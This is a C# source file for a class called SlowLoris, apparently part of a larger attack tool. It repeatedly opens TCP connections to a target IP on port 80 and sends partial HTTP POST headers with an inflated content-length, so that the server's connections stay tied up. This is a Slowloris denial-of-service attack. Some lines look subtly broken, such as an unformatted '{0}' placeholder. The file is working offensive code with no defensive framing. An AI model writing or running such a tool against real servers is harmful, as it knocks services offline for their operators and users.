1. public class SlowLoris
  2. {
  3. static bool slow = false;
  4. static TcpClient[] tcp = new TcpClient[2];
  5. static TcpClient worktcp = new TcpClient();
  6. private static List<TcpClient> clients = null;
  7. private static Thread thrd = null;
  8. static IPAddress workip;
  9. public static void loris(string host, bool looping)
  10. {
  11. slow = looping;
  12. }
  13. public static void SendLoris(string ip)
  14. {
  15. try
  16. {
  17. clients = new List<TcpClient>();
  18. slow = true;
  19. int seconds = 0;
  20. while (slow)
  21. {
  22. if (seconds >= 30)
  23. {
  24. StopLoris();
  25. return;
  26. }
  27. thrd = new Thread(u =>
  28. {
  29. try
  30. {
  31. worktcp = new TcpClient();
  32. workip = IPAddress.Parse(ip);
  33. clients.Add(worktcp);
  34. worktcp.Connect(ip, 80);
  35. if (worktcp.Connected)
  36. {
  37. StreamWriter sw = new StreamWriter(worktcp.GetStream());
  38. sw.Write("POST / HTTP/1.1\r\nHost: {0} \r\nContent-length: 5235\r\n\r\n", workip.ToString());
  39. Console.Write(DateTimeNow.GetTimeHMS() + " POST / HTTP/1.1\r\n" + DateTimeNow.GetTimeHMS() + " Host: {0} \r\n" + DateTimeNow.GetTimeHMS() + " Content-length: 5235\r\n\r\n", workip.ToString());
  40. sw.Flush();
  41. }
  42. }
  43. catch(Exception ex)
  44. {
  45. Console.Write("[SlowLoris]: Errored: " + ex.Message + "\n:::: EXCEPTION (" + ex.ToString() + ") \n IP: " + ip + "\n");
  46. }
  47. });
  48. thrd.Start();
  49. Thread.Sleep(250);
  50. seconds++;
  51. }
  52. }
  53. catch (Exception ex)
  54. {
  55. Console.WriteLine("-Slowloris broke: " + ex.Message + " " + ex.StackTrace);
  56. }
  57. }
  58. public static void StopLoris()
  59. {
  60. if (clients != null)
  61. {
  62. foreach (TcpClient client in clients)
  63. {
  64. try
  65. {
  66. client.GetStream().Dispose();
  67. }
  68. catch { Console.WriteLine("Could not dispose tcp stream!"); }
  69. }
  70. }
  71. thrd.Abort();
  72. worktcp.Close();
  73. slow = false;
  74. clients = null;
  75. Console.Write(DateTimeNow.GetTimeHMS() + " stopped slowing..\n");
  76. }
  77. }